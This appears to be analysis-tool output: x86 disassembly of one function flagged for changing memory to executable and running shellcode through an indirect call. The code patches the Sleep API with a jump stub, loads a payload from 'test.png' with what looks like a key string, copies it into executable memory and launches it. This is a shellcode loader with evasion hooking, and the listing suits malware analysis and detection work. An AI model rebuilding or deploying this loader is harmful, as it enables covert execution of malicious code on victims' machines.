Function at 0x402000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405b0d
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x409040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x14]
push eax
push 0x40
mov dword [0x4097b0], esi
movups xmm0, xmmword [esi]
push 7
push esi
mov byte [ebp - 0x1c], 0xb8
mov byte [ebp - 0x17], 0xff
mov byte [ebp - 0x51], 0xe0
mov dword [ebp - 0x1b], 0x401fe0
mov dword [ebp - 0x14], 0
movups xmmword [0x4097b4], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x402086
mov eax, dword [ebp - 0x1c]
mov dword [esi], eax
mov ax, word [ebp - 0x18]
mov word [esi + 4], ax
mov al, byte [ebp - 0x51]
mov byte [esi + 6], al
cmp dword [0x4097cc], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jne 0x4020b5
push str.NtFlushInstructionCache
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4097cc], eax
test eax, eax
je 0x4020c1
push 7
push esi
call edi
push eax
call dword [0x4097cc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1388
call esi
push 0xe
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
push str.Test114514tesT
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
call fcn.00404620
mov eax, dword [ebp - 0x58]
mov esi, str.test.png
mov dword [ebp - 4], 0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4044f0
mov eax, dword [eax + 4]
test eax, eax
cmovne esi, eax
mov edx, esi
call fcn.004042d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, esi
lea ecx, [ebp - 0x38]
call fcn.00401a10
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 1
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
push eax
lea edx, [ebp - 0x38]
movq qword [ebp - 0x20], xmm0
lea ecx, [ebp - 0x20]
call fcn.00401640
add esp, 4
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x1c]
sub esi, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x14], esi
call edi
push 0x40
push 0x1000
push esi
push 0
mov edi, eax
call dword [0x4097c4]
push dword [ebp - 0x14]
mov esi, eax
push dword [ebp - 0x20]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push dword [ebp - 0x14]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [0x4097c8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x20]
test edx, edx
je 0x4021ef
mov ecx, dword [ebp - 0x18]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x4021e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402257
push ecx
push edx
call fcn.00404ab2
add esp, 8
mov ecx, dword [ebp - 0x24]
cmp ecx, 0xf
jbe 0x40221f
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402215
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402257
push ecx
push edx
call fcn.00404ab2
add esp, 8
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
cmp ecx, 0xf
jbe 0x402267
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40225d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40225d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404ab2
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404a74
mov esp, ebp
pop ebp
ret